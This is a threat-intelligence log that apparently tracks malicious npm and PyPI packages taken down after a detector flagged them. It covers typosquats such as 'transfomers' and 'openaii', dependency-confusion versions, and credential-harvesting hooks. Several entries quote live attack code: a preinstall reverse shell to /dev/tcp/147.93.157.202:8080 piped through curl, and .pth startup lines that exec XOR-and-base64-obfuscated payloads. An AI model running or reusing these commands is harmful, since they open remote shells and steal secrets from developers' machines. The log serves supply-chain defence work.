	✓ Taken Down Very Risky	85	+39h	2026-10-31 22:52 UTC	2026-11-02 22:17 UTC	registry removed	—	—	pypi	0.1.1	—	—	🪝
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-10-31 22:52 UTC Last confirmed live: 2026-11-02 14:17 UTC Removed: 2026-11-02 22:17 UTC Lead time: +39h — how long the package stayed provably live after we flagged it Online before takedown: 2.0d (published → removed) Verdict / score at takedown: Very Risky · 85 Static code signals: PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in pystr_codec-setup.pth: 'import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,su' PYTHON_PTH_CODE_EXECUTION: Startup execution call 'exec()' in pystr_codec-setup.pth: 'import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,su' The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down Unverified Signal	85	<1h	2026-10-29 19:05 UTC	2026-11-02 07:17 UTC	registry removed	—	—	pypi	0.1.2	—	—	🪝
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-10-29 19:05 UTC Last confirmed live: 2026-10-29 19:05 UTC Removed: 2026-11-02 07:17 UTC Lead time: <1h — how long the package stayed provably live after we flagged it Online before takedown: 3.5d (published → removed) Verdict / score at takedown: Unverified Signal · 85 Static code signals: PYTHON_PTH_STARTUP_HOOK: Startup .pth file declared in package: bq_helix_recon.pth EXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in bq_helix_recon.py:16 CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in bq_helix_recon.py:59 SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in bq_helix_recon.py:16 SOURCE_CODE_ENV_VARS_ACCESS: 'Bulk Environment Harvesting' found in bq_helix_recon.py:111 The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down Unverified Signal	85	<1h	2026-10-29 19:05 UTC	2026-11-02 07:17 UTC	registry removed	—	—	pypi	0.1.0	—	—	🪝
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-10-29 19:05 UTC Last confirmed live: 2026-10-29 19:05 UTC Removed: 2026-11-02 07:17 UTC Lead time: <1h — how long the package stayed provably live after we flagged it Online before takedown: 3.5d (published → removed) Verdict / score at takedown: Unverified Signal · 85 Static code signals: SOURCE_CODE_ENV_VARS_ACCESS: Access to os.environ in bq_helix_build_hook_6ade983e-0.1.0/setup.py:13 EXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in bq_helix_build_hook_6ade983e-0.1.0/setup.py:20 CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in bq_helix_build_hook_6ade983e-0.1.0/setup.py:9 SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in bq_helix_build_hook_6ade983e-0.1.0/setup.py:13 SOURCE_CODE_ENV_VARS_ACCESS: 'Bulk Environment Harvesting' found in bq_helix_build_hook_6ade983e-0.1.0/setup.py:13 The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down Very Risky	100	<1h	2026-09-21 17:25 UTC	2026-09-30 13:17 UTC	npm security takedown	12	@uh	npm	99.0.0	—	—	🪝 📡
Removed from: npm (npm security takedown) First flagged by Sentinel: 2026-09-21 17:25 UTC Last confirmed live: 2026-09-21 17:43 UTC Removed: 2026-09-30 13:17 UTC Lead time: <1h — how long the package stayed provably live after we flagged it Online before takedown: 8.8d (published → removed) Verdict / score at takedown: Very Risky · 100 Package purpose: security holding package Matched naming pattern: npm-@uh-general Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: SUSPICIOUS (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 0/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 12 lines, 295 Bytes across 1 file (TINY_CODEBASE) Automated signals flagged: INFOPackage release verified with cryptographic build provenance (npm_slsa_sigstore). Guarantees authentic repository build pipeline and eliminates publisher domain spoofing risk. MEDIUMPackage has empty or near-zero description (potential reservation stub). HIGHPackage registered recently (0 days ago) during the active AI hallucination slopsquatting wave. CRITICALPackage registered with suspiciously high major version (v99.0.0, major 99) despite recent registration (0 days ago, 1 release(s)), indicating potential dependency confusion attack to shadow internal organization builds. HIGHLIFECYCLE_SCRIPT: 'preinstall' -> 'node index.js' HIGHMISSING_SOURCE_REPOSITORY_URL HIGHEXFILTRATION_DESTINATION_DETECTED: 'OAST / Callback Service' found in package/index.js:2 HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/index.js:1 Static code signals: LIFECYCLE_SCRIPT: 'preinstall' -> 'node index.js' MISSING_SOURCE_REPOSITORY_URL EXFILTRATION_DESTINATION_DETECTED: 'OAST / Callback Service' found in package/index.js:2 SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/index.js:1 The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on npm →
	✓ Taken Down Very Risky	100	<1h	2026-09-21 17:44 UTC	2026-09-26 01:17 UTC	npm security takedown	12	@uh	npm	100.0.0	—	—	🪝 📡
Removed from: npm (npm security takedown) First flagged by Sentinel: 2026-09-21 17:44 UTC Last confirmed live: 2026-09-21 18:04 UTC Removed: 2026-09-26 01:17 UTC Lead time: <1h — how long the package stayed provably live after we flagged it Online before takedown: 4.3d (published → removed) Verdict / score at takedown: Very Risky · 100 Package purpose: Nodejs SDK for Redacted Matched naming pattern: npm-@uh-general Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: SUSPICIOUS (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 0/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 12 lines, 295 Bytes across 1 file (TINY_CODEBASE) Automated signals flagged: INFOPackage release verified with cryptographic build provenance (npm_slsa_sigstore). Guarantees authentic repository build pipeline and eliminates publisher domain spoofing risk. MEDIUMPackage has empty or near-zero description (potential reservation stub). HIGHPackage registered recently (0 days ago) during the active AI hallucination slopsquatting wave. CRITICALPackage registered with suspiciously high major version (v100.0.0, major 100) despite recent registration (0 days ago, 1 release(s)), indicating potential dependency confusion attack to shadow internal organization builds. HIGHLIFECYCLE_SCRIPT: 'preinstall' -> 'node index.js' HIGHMISSING_SOURCE_REPOSITORY_URL HIGHEXFILTRATION_DESTINATION_DETECTED: 'OAST / Callback Service' found in package/index.js:2 HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/index.js:1 Static code signals: LIFECYCLE_SCRIPT: 'preinstall' -> 'node index.js' MISSING_SOURCE_REPOSITORY_URL EXFILTRATION_DESTINATION_DETECTED: 'OAST / Callback Service' found in package/index.js:2 SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/index.js:1 The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on npm →
	✓ Taken Down Very Risky	102	<1h	2026-09-21 01:05 UTC	2026-09-22 11:17 UTC	registry removed	8	@nimbusedge2/x	npm	1.1.1	—	—	🪝
Removed from: npm (registry removed) First flagged by Sentinel: 2026-09-21 01:05 UTC Last confirmed live: 2026-09-21 01:24 UTC Removed: 2026-09-22 11:17 UTC Lead time: <1h — how long the package stayed provably live after we flagged it Online before takedown: 34h (published → removed) Verdict / score at takedown: Very Risky · 102 Package purpose: providing general utility for Npm Matched naming pattern: npm-@nimbusedge2/x-general Official vendor account: No — publisher domain doesn't match the brand it names Registry downloads (last seen): 0/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 8 lines, 337 Bytes across 1 file (TINY_CODEBASE) Automated signals flagged: INFOPackage release verified with cryptographic build provenance (npm_slsa_sigstore). Guarantees authentic repository build pipeline and eliminates publisher domain spoofing risk. HIGHPackage registered recently (0 days ago) during the active AI hallucination slopsquatting wave. HIGHLIFECYCLE_SCRIPT: 'preinstall' -> 'bash -i >& /dev/tcp/147.93.157.202.nip.io/8080 0>&1 \| curl -s -m 5 -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php' CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'curl' in 'preinstall' script CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'preinstall' script HIGHMISSING_SOURCE_REPOSITORY_URL INFOPackage affiliated with trusted vendor '@nimbusedge2/x' (provenance:npm_slsa_sigstore). Applied 50% threat score dampening (155 -> 77) to reduce false positives while retaining hijack/takeover detection. CRITICALCRITICAL: Weaponized payload detected on package affiliated with trusted vendor '@nimbusedge2/x'. High probability of vendor account takeover, compromised credentials, or malicious release. Static code signals: LIFECYCLE_SCRIPT: 'preinstall' -> 'bash -i >& /dev/tcp/147.93.157.202.nip.io/8080 0>&1 \| curl -s -m 5 -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php' SUSPICIOUS_SHELL_COMMAND: Pattern 'curl' in 'preinstall' script SUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'preinstall' script MISSING_SOURCE_REPOSITORY_URL The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on npm →
	✓ Taken Down Very Risky	85	+38h	2026-09-13 06:25 UTC	2026-09-15 15:17 UTC	registry removed	—	—	pypi	added	—	—	🪝
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-09-13 06:25 UTC Last confirmed live: 2026-09-14 20:17 UTC Removed: 2026-09-15 15:17 UTC Lead time: +38h — how long the package stayed provably live after we flagged it Online before takedown: 2.4d (published → removed) Verdict / score at takedown: Very Risky · 85 Static code signals: PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in chroma_client-0.5.7.data/purelib/chroma_client-setup.pth: 'import os; os.umask(0o022)' The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down Very Risky	85	+3.0d	2026-09-11 13:07 UTC	2026-09-15 05:17 UTC	registry removed	—	—	pypi	added	alexcarter	—	🪝
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-09-11 13:07 UTC Last confirmed live: 2026-09-14 13:17 UTC Removed: 2026-09-15 05:17 UTC Lead time: +3.0d — how long the package stayed provably live after we flagged it Online before takedown: 3.7d (published → removed) Verdict / score at takedown: Very Risky · 85 Static code signals: PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in aitextkit_py-0.1.0/.build-env/Lib/site-packages/distutils-precedence.pth: 'import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('' BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'aitextkit_py-0.1.0/.build-env/Scripts/python.exe' in package archive MODULE_TOPLEVEL_EXECUTION: 'exec' executed at module scope (runs on import) in aitextkit_py-0.1.0/src/aitextkit/system.py:2 MODULE_TOPLEVEL_EXECUTION: 'exec' executed at module scope (runs on import) in aitextkit_py-0.1.0/src/aitextkit/text.py:2 The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down Very Risky	85	<1h	2026-09-11 17:44 UTC	2026-09-12 04:17 UTC	registry removed	—	—	pypi	added	—	—	🪝
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-09-11 17:44 UTC Last confirmed live: 2026-09-11 17:44 UTC Removed: 2026-09-12 04:17 UTC Lead time: <1h — how long the package stayed provably live after we flagged it Online before takedown: 10h (published → removed) Verdict / score at takedown: Very Risky · 85 Static code signals: PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in langgrap-0.2.45.data/purelib/langgrap-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'subprocess' imported in langgrap-0.2.45.data/purelib/langgrap-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'base64' imported in langgrap-0.2.45.data/purelib/langgrap-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Startup execution call 'exec()' in langgrap-0.2.45.data/purelib/langgrap-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Startup execution call 'b64decode()' in langgrap-0.2.45.data/purelib/langgrap-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down Very Risky	85	<1h	2026-09-11 17:44 UTC	2026-09-12 04:17 UTC	registry removed	—	—	pypi	added	—	—	🪝
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-09-11 17:44 UTC Last confirmed live: 2026-09-11 17:44 UTC Removed: 2026-09-12 04:17 UTC Lead time: <1h — how long the package stayed provably live after we flagged it Online before takedown: 10h (published → removed) Verdict / score at takedown: Very Risky · 85 Static code signals: PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in ollamaa-0.4.2.data/purelib/ollamaa-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'subprocess' imported in ollamaa-0.4.2.data/purelib/ollamaa-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'base64' imported in ollamaa-0.4.2.data/purelib/ollamaa-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Startup execution call 'exec()' in ollamaa-0.4.2.data/purelib/ollamaa-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Startup execution call 'b64decode()' in ollamaa-0.4.2.data/purelib/ollamaa-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down Very Risky	85	<1h	2026-09-11 17:44 UTC	2026-09-12 04:17 UTC	registry removed	—	—	pypi	added	—	—	🪝
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-09-11 17:44 UTC Last confirmed live: 2026-09-11 17:44 UTC Removed: 2026-09-12 04:17 UTC Lead time: <1h — how long the package stayed provably live after we flagged it Online before takedown: 10h (published → removed) Verdict / score at takedown: Very Risky · 85 Static code signals: PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in openaii-1.55.3.data/purelib/openaii-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'subprocess' imported in openaii-1.55.3.data/purelib/openaii-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'base64' imported in openaii-1.55.3.data/purelib/openaii-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Startup execution call 'exec()' in openaii-1.55.3.data/purelib/openaii-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Startup execution call 'b64decode()' in openaii-1.55.3.data/purelib/openaii-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down Very Risky	85	<1h	2026-09-11 17:44 UTC	2026-09-12 04:17 UTC	registry removed	—	—	pypi	added	—	—	🪝
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-09-11 17:44 UTC Last confirmed live: 2026-09-11 17:44 UTC Removed: 2026-09-12 04:17 UTC Lead time: <1h — how long the package stayed provably live after we flagged it Online before takedown: 10h (published → removed) Verdict / score at takedown: Very Risky · 85 Static code signals: PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in transfomers-4.44.2.data/purelib/transfomers-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'subprocess' imported in transfomers-4.44.2.data/purelib/transfomers-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'base64' imported in transfomers-4.44.2.data/purelib/transfomers-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Startup execution call 'exec()' in transfomers-4.44.2.data/purelib/transfomers-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' PYTHON_PTH_CODE_EXECUTION: Startup execution call 'b64decode()' in transfomers-4.44.2.data/purelib/transfomers-setup.pth: 'import os,subprocess,base64 as _b;exec(''.join(chr(ord(c)^0x5A) for c in _b.b64decode('NSo/NHJ9dS43KnV0Ni8oLD8pdyo2OzQuP' The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down Very Risky	122	+5h	2026-09-11 10:11 UTC	2026-09-11 18:17 UTC	registry removed	8	@nimbusedge/auth	npm	19999.0.6	—	—	🪝
Removed from: npm (registry removed) First flagged by Sentinel: 2026-09-11 10:11 UTC Last confirmed live: 2026-09-11 15:33 UTC Removed: 2026-09-11 18:17 UTC Lead time: +5h — how long the package stayed provably live after we flagged it Online before takedown: 10h (published → removed) Verdict / score at takedown: Very Risky · 122 Package purpose: providing general utility for Npm Matched naming pattern: npm-@nimbusedge/auth-general Official vendor account: No — publisher domain doesn't match the brand it names Registry downloads (last seen): 0/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 8 lines, 339 Bytes across 1 file (TINY_CODEBASE) Automated signals flagged: INFOPackage release verified with cryptographic build provenance (npm_slsa_sigstore). Guarantees authentic repository build pipeline and eliminates publisher domain spoofing risk. HIGHPackage registered recently (0 days ago) during the active AI hallucination slopsquatting wave. CRITICALPackage registered with suspiciously high major version (v19999.0.6, major 19999) despite recent registration (0 days ago, 7 release(s)), indicating potential dependency confusion attack to shadow internal organization builds. HIGHLIFECYCLE_SCRIPT: 'preinstall' -> 'bash -i >& /dev/tcp/147.93.157.202/8080 0>&1 \| curl -s -m 5 -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php' CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'curl' in 'preinstall' script CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'preinstall' script HIGHMISSING_SOURCE_REPOSITORY_URL INFOPackage affiliated with trusted vendor '@nimbusedge/auth' (provenance:npm_slsa_sigstore). Applied 50% threat score dampening (195 -> 97) to reduce false positives while retaining hijack/takeover detection. Static code signals: LIFECYCLE_SCRIPT: 'preinstall' -> 'bash -i >& /dev/tcp/147.93.157.202/8080 0>&1 \| curl -s -m 5 -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php' SUSPICIOUS_SHELL_COMMAND: Pattern 'curl' in 'preinstall' script SUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'preinstall' script MISSING_SOURCE_REPOSITORY_URL The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on npm →
	✓ Taken Down Very Risky	270	not measured	2026-09-03 00:14 UTC	2026-09-07 20:10 UTC	registry removed	—	company	pypi	0.1.0	—	—
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-09-03 00:14 UTC Removed: 2026-09-07 20:10 UTC Online before takedown: 4.8d (published → removed) Identified by our one-time historical sweep — it can only confirm the package was gone by the time it looked, so no lead-time figure is claimed. Verdict / score at takedown: Very Risky · 270 Matched naming pattern: python-company-sdk The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down Very Risky	140	not measured	2026-09-05 04:37 UTC	2026-09-07 20:10 UTC	registry removed	—	dbt	pypi	0.1.0	—	—
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-09-05 04:37 UTC Removed: 2026-09-07 20:10 UTC Online before takedown: 2.7d (published → removed) Identified by our one-time historical sweep — it can only confirm the package was gone by the time it looked, so no lead-time figure is claimed. Verdict / score at takedown: Very Risky · 140 Matched naming pattern: dbt-dbt-cli The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down Very Risky	140	not measured	2026-09-03 12:19 UTC	2026-09-07 20:10 UTC	registry removed	—	uvhttp	pypi	0.1.0	—	—
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-09-03 12:19 UTC Removed: 2026-09-07 20:10 UTC Online before takedown: 4.3d (published → removed) Identified by our one-time historical sweep — it can only confirm the package was gone by the time it looked, so no lead-time figure is claimed. Verdict / score at takedown: Very Risky · 140 Matched naming pattern: python-uvhttp-custom The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down SUSPICIOUS	85	not measured	2026-09-02 01:23 UTC	2025-07-17 10:14 UTC	npm security takedown	5	workspace	npm	66.0.0	—	—
Removed from: npm (npm security takedown) First flagged by Sentinel: 2026-09-02 01:23 UTC Removed: 2025-07-17 10:14 UTC Online before takedown: 894.8d (published → removed) Identified by our one-time historical sweep — it can only confirm the package was gone by the time it looked, so no lead-time figure is claimed. Verdict / score at takedown: SUSPICIOUS · 85 Package purpose: Security holding package Matched naming pattern: toloka-workspace-sdk Official vendor account: No — publisher domain doesn't match the brand it names Registry downloads (last seen): 262/month (MODERATE_USAGE) Codebase size: 5 lines, 41 Bytes across 1 file (EMPTY_STUB) Automated signals flagged: MEDIUMPackage name 'toloka-workspace-sdk' matches AI hallucination template [toloka] + [workspace] + [sdk]. HIGHClaims critical enterprise brand identity ('WORKSPACE'). HIGHPublisher email 'None' is not affiliated with official vendor domain. MEDIUMPackage has empty or near-zero description (potential reservation stub). INFOEstablished pre-AI legacy package registered 1312 days ago (predates modern AI hallucination waves). HIGHMISSING_SOURCE_REPOSITORY_URL HIGHNPM_TARBALL_EXTRACTION_FAILED: unexpected end of data INFOModerate community usage with 262 monthly downloads. Static code signals: MISSING_SOURCE_REPOSITORY_URL NPM_TARBALL_EXTRACTION_FAILED: unexpected end of data The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on npm →

Removed from: PyPI (registry removed)

First flagged by Sentinel: 2026-10-19 23:06 UTC

Last confirmed live: 2026-10-31 21:17 UTC

Removed: 2026-11-14 00:17 UTC

Lead time: +11.9d — how long the package stayed provably live after we flagged it

Online before takedown: 25.1d (published → removed)

Verdict / score at takedown: Very Risky · 330

Package purpose: TupaXPL-Forge — Offensive Security Platform (LLM+LangGraph runtime)

Claimed homepage: https://pypi.org/project/tupaxpl/

Matched naming pattern: python-tupaxpl-core

Official vendor account: No — publisher domain doesn't match the brand it names

Registry downloads (last seen): 0/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 48842 lines, 2.2 MB across 313 files (LARGE_CODEBASE)

Automated signals flagged:

INFORelease has signed build provenance from github.com/mrhenrike/tupaxpl-forge. That repository is not owned by 'tupaxpl', so it shows where the code was built, not who published it.
MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
HIGHPackage registered recently (20 days ago) during the active AI hallucination slopsquatting wave.
HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_db.py:24
HIGHANTI_ANALYSIS_EVASION: 'TLS / SSL Verification Bypass (Defense Evasion)' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_downloader.py:43
HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_downloader.py:73
HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_downloader.py:18
HIGHANTI_ANALYSIS_EVASION: 'TLS / SSL Verification Bypass (Defense Evasion)' found in tupaxpl-1.3.0/offsecforge/acquisition/github_poc_finder.py:19

Static code signals:

SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_db.py:24
ANTI_ANALYSIS_EVASION: 'TLS / SSL Verification Bypass (Defense Evasion)' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_downloader.py:43
SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_downloader.py:73
SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_downloader.py:18
ANTI_ANALYSIS_EVASION: 'TLS / SSL Verification Bypass (Defense Evasion)' found in tupaxpl-1.3.0/offsecforge/acquisition/github_poc_finder.py:19
ANTI_ANALYSIS_EVASION: 'TLS / SSL Verification Bypass (Defense Evasion)' found in tupaxpl-1.3.0/offsecforge/acquisition/nvd_client.py:19
SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in tupaxpl-1.3.0/offsecforge/adapters/quarry_engine.py:34
SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in tupaxpl-1.3.0/offsecforge/adapters/stix_export.py:98

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on PyPI →

Removed from: PyPI (registry removed)

First flagged by Sentinel: 2026-08-24 08:42 UTC

Last confirmed live: 2026-10-25 23:22 UTC

Removed: 2026-11-04 08:17 UTC

Lead time: +62.6d — how long the package stayed provably live after we flagged it

Online before takedown: 583.4d (published → removed)

Verdict / score at takedown: SUSPICIOUS · 80

Package purpose: Huggingface integration providing nlp utility for Corex

Claimed homepage: https://pypi.org/project/corex-ai-nlp-huggingface/

Matched naming pattern: corex-huggingface-nlp

Official vendor account: No — publisher domain doesn't match the brand it names

Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code)

Registry downloads (last seen): 19/month (NEGLIGIBLE_OR_ZERO_USAGE)

Codebase size: 20 lines, 679 Bytes across 3 files (TINY_CODEBASE)

Automated signals flagged:

MEDIUMPackage name 'corex-ai-nlp-huggingface' matches AI hallucination template [corex] + [huggingface] + [nlp].
HIGHClaims critical enterprise brand identity ('HUGGINGFACE').
HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain.
MEDIUMPackage has empty or near-zero description (potential reservation stub).
INFONo malicious install-time hooks or shell cradles detected in package AST.

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on PyPI →

Removed from: PyPI (registry removed)

First flagged by Sentinel: 2026-08-24 00:21 UTC

Last confirmed live: 2026-09-07 20:57 UTC

Removed: 2026-11-04 08:17 UTC

Lead time: +14.9d — how long the package stayed provably live after we flagged it

Online before takedown: 583.4d (published → removed)

Verdict / score at takedown: SUSPICIOUS · 80

Package purpose: Vllm integration providing runtimes utility for Corex

Claimed homepage: https://pypi.org/project/corex-ai-runtimes-vllm/

